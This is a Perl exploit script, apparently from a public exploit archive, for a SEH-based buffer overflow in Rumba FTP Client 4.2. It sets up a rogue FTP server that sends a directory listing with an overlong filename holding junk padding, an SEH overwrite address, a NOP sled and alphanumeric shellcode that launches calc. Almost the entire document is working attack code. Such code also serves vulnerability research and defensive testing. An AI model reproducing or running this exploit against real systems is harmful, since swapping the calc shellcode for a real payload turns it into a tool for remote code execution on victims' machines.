Rumba FTP Client 4.2 – PASV Buffer Overflow (SEH)
# Email: darkernet[at]gmail.com # Tested on: Windows XP SP3 # SEH overwrite occurs when sending the directory listing to the client with an # overly long filename extension.*Note version 4.2.3 might also suffer from this. # Usage: ./rumbaftp_exploit # Code: #!/usr/bin/perl use warnings; use strict; use IO::Socket; my $sock = IO::Socket::INET->new( LocalPort => '21', Proto => 'tcp', Listen => '1' ) or die "Socket Not Created $!\n"; print "#############################################################\n" . "# Rumba ftp Client 4.2 PASV BoF (SEH) #\n" . "# By: zombiefx #\n" . "# Listening on port 21 with pasv port of 31337 #\n" . "#############################################################\n"; my $pasvip = "127,0,0,1"; while ( my $data = $sock->accept() ) { print "Client Connected!\nAwaiting Ftp commands: \n"; print $data "220 Gangsta Rap Made Me Do It\r\n"; while (<$data>) { print; print $data "331 Anonymous access allowed\r\n" if (/USER/i); print $data "230-Welcome to N0 M4Ns l4nd.\r\n230 User logged in.\r\n" if (/PASS/i); print $data "215 UNIX Type: L8 \r\n" if (/SYST/i); print $data "257 \"/\" is current directory.\r\n" if (/PWD/i); print $data "200 Type set to I.\r\n" if (/TYPE I/i); print $data "200 Type set to A.\r\n" if (/TYPE A/i); print $data "214 Syntax: SITE - (site-specific commands)\r\n" if (/HELP/i); print $data "227 Entering Passive Mode ($pasvip,122,105)\r\n" if (/PASV/i); if (/LIST/i) { print $data "150 Here comes the directory listing.\r\n" . "226 Directory send OK.\r\n"; &senddata( '122', '105' ); } } print "Payload delivered check the client!\n"; } sub senddata { my $port = $_[0] * 256 + $_[1]; my $pasvsock = IO::Socket::INET->new( LocalPort => $port, Proto => 'tcp', Listen => '1' ); my $pasvdata = $pasvsock->accept(); my $junk = "\x77" x 1351; my $seh = pack( 'V', 0x1006E534 );# located in ftplogic.dll my $nseh = "\xeb\x06\x90\x90"; my $nops = "\x90" x 50; my $calcshell = "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" . "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" . "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" . "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" . "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" . "\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" . "\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" . "\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" . "\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" . "\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" . "\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" . "\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" . "\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" . "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" . "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" . "\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" . "\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" . "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" . "\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" . "\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" . "\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" . "\x31\x42\x4c\x42\x43\x45\x50\x41\x41"; my $payload = $junk . $nseh . $seh . $nops . $calcshell; print $pasvdata "-rw-rw-r-- 1 1176 1176 1060 Apr 23 23:17 test.$payload\r\n\r\n"; } |